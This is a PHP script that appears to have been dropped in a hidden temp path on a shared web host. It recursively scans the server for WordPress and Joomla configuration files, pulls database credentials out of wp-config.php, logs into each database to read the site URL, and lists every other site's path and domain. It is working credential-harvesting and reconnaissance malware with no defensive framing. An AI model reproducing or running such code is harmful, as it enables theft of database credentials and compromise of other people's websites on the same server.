/home/idolaotomotif/.cagefs/tmp/.request
<?php   $r = "/";  function is_valid_domain($domain) {     if (!substr_count($domain, '.')) {         return false;     } 	if (stripos($domain, 'http://') === 0) {         $domain = substr($domain, 7); 		$schema = 'http://';     } 	elseif (stripos($domain, 'https://') === 0) {         $domain = substr($domain, 8); 		$schema = 'https://';     } 	else $schema = 'http://'; 	     if (stripos($domain, 'www.') === 0) {         $domain = substr($domain, 4);     } 	if (stripos($domain, '/') !== false) { 		$split = explode($domain, '/', 1); 		$domain = $split[0]; 	}     $again = $schema . $domain;     return filter_var($again, FILTER_VALIDATE_URL); }  function parse_define_value($line) {     preg_match("/define\(.*'(.*)'\);/", $line, $matches);     return isset($matches[1]) ? $matches[1] : null; } function scan_wp($p) {     $data = file_get_contents($p);     $pattern = "/table_prefix\s*=\s*'([^']*)';/i";     if (preg_match($pattern, $data, $matches)) {         $table_prefix = $matches[1];     } else {         $table_prefix = 'wp_';     }     $lines = array_map('rtrim', file($p));     $conf = [];     foreach ($lines as $line) {         if (preg_match('/define\(\'(DB_USER|DB_HOST|DB_PASSWORD|DB_NAME)\'/', $line, $matches)) {             $conf[$matches[1]] = parse_define_value($line);         }     }     $mysqli = new mysqli($conf['DB_HOST'], $conf['DB_USER'], $conf['DB_PASSWORD'], $conf['DB_NAME']);     if (!$mysqli->connect_errno) {         if ($result = $mysqli->query("SELECT option_value FROM {$table_prefix}options WHERE option_name = 'siteurl';")) {             $row = $result->fetch_object();             $result->close();             $p = dirname($p); 			$d = is_valid_domain($row->option_value);             if ($d) { 				print "<f>{$p}@@@{$d}@@@wp@@@{$p}</f>\n"; 			}         }         $mysqli->close();     } } function scan_joomla($p) {     $c = file_get_contents($p);     preg_match("/live_site = '(.*?)';/", $c, $m);     if (isset($m[1])) {         $p = dirname($p); 		$d = is_valid_domain($m[1]);         if ($d) { 			print "<f>{$p}@@@{$d}@@@joomla@@@{$p}</f>\n"; 		}     } } function scan($path) {     $existed = ["idolaotomotif.com"];     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) { 			if ($p == '/') { 				$p = $path . $file; 			} 			else { 				$p = $path . '/' . $file; 			}             if ($file != '.' && $file != '..') {                 $found = false;                 foreach ($existed as $domain) {                     if (strstr($p, $domain)) {                         $found = true;                         break;                     }                 }                 if ($found) {                     continue;                 }                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     scan($p);                 } elseif ($file == 'wp-config.php') {                     scan_wp($p);                 } elseif ($file == 'configuration.php') {                     scan_joomla($p);                 }             }         }     } } scan($r); die('!ended!');